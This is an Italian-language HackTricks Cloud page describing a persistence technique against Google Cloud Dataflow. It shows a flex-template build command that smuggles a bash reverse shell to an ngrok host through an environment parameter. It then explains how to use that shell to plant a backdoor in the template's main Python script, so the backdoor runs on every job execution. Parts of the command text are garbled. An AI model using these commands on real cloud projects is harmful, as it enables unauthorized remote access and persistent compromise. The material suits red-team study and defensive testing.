GCP - Dataflow Persistenza
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Dataflow
Persistenza invisibile nel container costruito
Seguendo il tutorial dalla documentazione puoi creare un nuovo (es. python) flex template:
Crea Dataflow flex template with backdoor
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
ârepository-format=docker
âlocation=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
âimage-gcr-path âus-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latestâ
âsdk-language âPYTHONâ
âflex-template-base-image âPYTHON3â
âmetadata-file âmetadata.jsonâ
âpy-path â.â
âenv âFLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.pyâ
âenv âFLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txtâ
âenv âPYTHONWARNINGS=all:0:antigravity.x:0:0â
âenv â/bin/bash -c âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1â & #%sâ
âregion=us-central1
</details>
**Mentre viene costruito, otterrai una reverse shell** (puoi abusare di env variables come nell'esempio precedente o di altri params che impostano il Docker file per eseguire operazioni arbitrarie). In questo momento, all'interno della reverse shell, è possibile **entrare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Posiziona la tua backdoor qui in modo che ogni volta che il job viene eseguito, la esegua.
Poi, la volta successiva che il job viene eseguito, verrĂ avviato il container compromesso appena costruito:
<details>
<summary>Esegui Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

